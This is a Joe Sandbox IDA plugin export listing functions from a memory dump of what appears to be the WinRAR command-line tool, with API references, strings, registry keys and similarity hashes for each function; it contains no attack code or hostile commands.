Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction ID: d87ec7a0538e9b44fd9e93604a91451fdbe95ecd1a8ef4c53c83ff06f0066010
Opcode Fuzzy Hash: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction Fuzzy Hash: 14312E31A19A8285FB749F21E8402E933A4FB45B84F8051F5EA8DC6A98DF3DD546CB40

Function 00007FF69A4046EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF69A404620,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A404736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF69A404620,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A40476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF69A404620,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A40477A
FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF69A404620,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A4047A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF69A404620,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A4047B2

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: b5a4e0b65a68e07fe55895c2ecd5d70c2cd8127fe405ee17ce783bfdde1f46a0
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: C541DF76A08A8196EA349B25E5402F973E0FB4AFB4F4003B1EABD837C5DF6CE5558300

Function 00007FF69A3F901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF69A3F904D
CryptGenRandom.ADVAPI32 ref: 00007FF69A3F9061
CryptReleaseContext.ADVAPI32 ref: 00007FF69A3F9074

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: a9268c9c6f646243343a57b1a07285ee4d173a869e60d05ac56db2b08a962c26
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: BB016D2AB1865182F7108B16A94432AB7A1EBC5FD0F1880B5DF4ED3B68CF7DD946C700

Function 00007FF69A3EB540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF69A3EB900

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: d750600f3be21f8ccd2522ea66ef81f5d73d07ec8a0f66ae2bb9041de05645a8
Instruction ID: d27496310d60b8ab838ed7a5bc3eef0f1cc83a02dcf70ded01cad58b3d7cf599
Opcode Fuzzy Hash: d750600f3be21f8ccd2522ea66ef81f5d73d07ec8a0f66ae2bb9041de05645a8
Instruction Fuzzy Hash: D022B132A086C296EB25DF30D4452FEBBE0FB50B48F5480B5DA8DD7699CE78E951C740

Function 00007FF69A40AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF69A40B0C7

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee4955b49511cc911fe8b469ecfb9a50c8a330afbc075bb0d0f7ed7f2ea3295
Instruction ID: 28811004f7c24c76426dfc1e0878d4cf549015a2967158e6b5346387b87362ba
Opcode Fuzzy Hash: 5ee4955b49511cc911fe8b469ecfb9a50c8a330afbc075bb0d0f7ed7f2ea3295
Instruction Fuzzy Hash: 0F710032A0568186D754DF29E5052EC33D5FB88F98F144179CF9DCB399DF3AA0428790

Function 00007FF69A423EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF69A423EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF69A423E8F,?,00007FF69A417E90), ref: 00007FF69A423F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A4243C6

Strings

*messages***, xrefs: 00007FF69A424050
RTL, xrefs: 00007FF69A42437A
STRINGS, xrefs: 00007FF69A424219
$%s:, xrefs: 00007FF69A42439E
MENU, xrefs: 00007FF69A424235
*messages***, xrefs: 00007FF69A424080
@%s:, xrefs: 00007FF69A4243A5
,, xrefs: 00007FF69A4243FB
\, xrefs: 00007FF69A424519
DIRECTION, xrefs: 00007FF69A424243
DIALOG, xrefs: 00007FF69A424227

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction ID: 5990c7d11fef7ab02c386d3cf469c29136af52dcf2eab67c3bff61f62d1c4877
Opcode Fuzzy Hash: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction Fuzzy Hash: A622AD22A1869285EB30DF15D4402B973E1FF44B84F8151B6EE8ECB6D9EF6CE546C780

Function 00007FF69A3F4FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF69A3F5043
wcschr.LIBVCRUNTIME ref: 00007FF69A3F5129

Strings

.rar, xrefs: 00007FF69A3F508E
AFUMD, xrefs: 00007FF69A3F5122
stdin, xrefs: 00007FF69A3F52C2
.part, xrefs: 00007FF69A3F50A5
.rar, xrefs: 00007FF69A3F50E6
FUADPXETK, xrefs: 00007FF69A3F503C

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: 6dc8180074a1955519ca7710bdd54138f90f6955094ab4e08295e0f7963d5ac1
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: C1C19361A2C58250FB75AF2598551FC32D1EF46B84F4441FEEE4ECAADADE2CE601D301

Function 00007FF69A427F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF69A42805C

Part of subcall function 00007FF69A42B3F0: GetSystemDirectoryW.KERNEL32(00000000,00007FF69A427F72), ref: 00007FF69A42B41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF69A427F88
GetProcAddress.KERNEL32 ref: 00007FF69A427FA3

Strings

CryptUnprotectMemory failed, xrefs: 00007FF69A428053
CryptProtectMemory failed, xrefs: 00007FF69A428009
Crypt32.dll, xrefs: 00007FF69A427F66
CryptProtectMemory, xrefs: 00007FF69A427F7E
CryptUnprotectMemory, xrefs: 00007FF69A427F95

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: 22bd30b037593908c18f3d7135e97cae15ef47f611a4556eb1be25f5cd939693
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 31416524A09A9280FA64CF1AA84097977E1FF49FD4F0A11F6CC2DC77A4DE7CE0428341

Function 00007FF69A43B0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF69A43B110

Part of subcall function 00007FF69A43AA8C: __isa_available_init.LIBCMT ref: 00007FF69A43AAA9
Part of subcall function 00007FF69A43AA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF69A43AAAE

__scrt_fastfail.LIBCMT ref: 00007FF69A43B11E

Part of subcall function 00007FF69A43B52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF69A43B548
Part of subcall function 00007FF69A43B52C: RtlCaptureContext.KERNEL32 ref: 00007FF69A43B571
Part of subcall function 00007FF69A43B52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF69A43B58B
Part of subcall function 00007FF69A43B52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF69A43B5CC
Part of subcall function 00007FF69A43B52C: IsDebuggerPresent.KERNEL32 ref: 00007FF69A43B620
Part of subcall function 00007FF69A43B52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF69A43B641
Part of subcall function 00007FF69A43B52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF69A43B64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF69A43B12C
__scrt_fastfail.LIBCMT ref: 00007FF69A43B143
__scrt_release_startup_lock.LIBCMT ref: 00007FF69A43B1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF69A43B1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF69A43B1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF69A43B21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF69A43B239

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: 464917b92cd3a970cfefc1e03fd64ca2828e7ae16eef85b2f24cf0a715a8c3ed
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: 46314E21E0828386FA74AB25A6193B933D1EF45F84F4450F4EA8DCB2D7DE6DE4068740

Function 00007FF69A424774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF69A42495D,?,?,?,00007FF69A417E7D), ref: 00007FF69A4247DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF69A42495D,?,?,?,00007FF69A417E7D), ref: 00007FF69A424831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF69A42495D,?,?,?,00007FF69A417E7D), ref: 00007FF69A424853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF69A42495D,?,?,?,00007FF69A417E7D), ref: 00007FF69A4248A6

Strings

Software\WinRAR\General, xrefs: 00007FF69A4247CD
LanguageFolder, xrefs: 00007FF69A424806

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: 56402b51eb64172d3fa15cbd6222296f70a7314075cebb24d812214a126e7ddf
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: E8319226728A8145EB709F21E8002BA73D1FF85B94F4051B1EE5EC7B99EF6CD145CB00

Function 00007FF69A414398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A4143D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A414402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A41440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A41443E

Strings

AppData, xrefs: 00007FF69A4143F7
Software\WinRAR\Paths, xrefs: 00007FF69A4143BC

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: 1a5e37ed2a24bb2be6b81b1624a73f6bd68032a092272e7bd9e7946fbb946afb
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: AD116066A1874285EB609F26F8005BA73E0FF96FC4F4451B1EA4E87A55DF3CE054C744

Function 00007FF69A3E7A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF69A3E7BF3

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: 0388c903026e2033e6aa999372b63832fc175bbcd0170491359c0219acaf1d27
Instruction ID: ee37f538584d46723babede2b4d44193d558cfd63cf46dc0091cc3d81a0d07fc
Opcode Fuzzy Hash: 0388c903026e2033e6aa999372b63832fc175bbcd0170491359c0219acaf1d27
Instruction Fuzzy Hash: 42E1A062A08A9286EB20DB25E048BFD37E9EB4574CF6544B9DE4DC3786DF38E954C700

Function 00007FF69A402574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF69A4025B0
WriteFile.KERNEL32 ref: 00007FF69A4025F9
WriteFile.KERNELBASE ref: 00007FF69A40262E
GetLastError.KERNEL32 ref: 00007FF69A402658
SetLastError.KERNEL32 ref: 00007FF69A402689

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

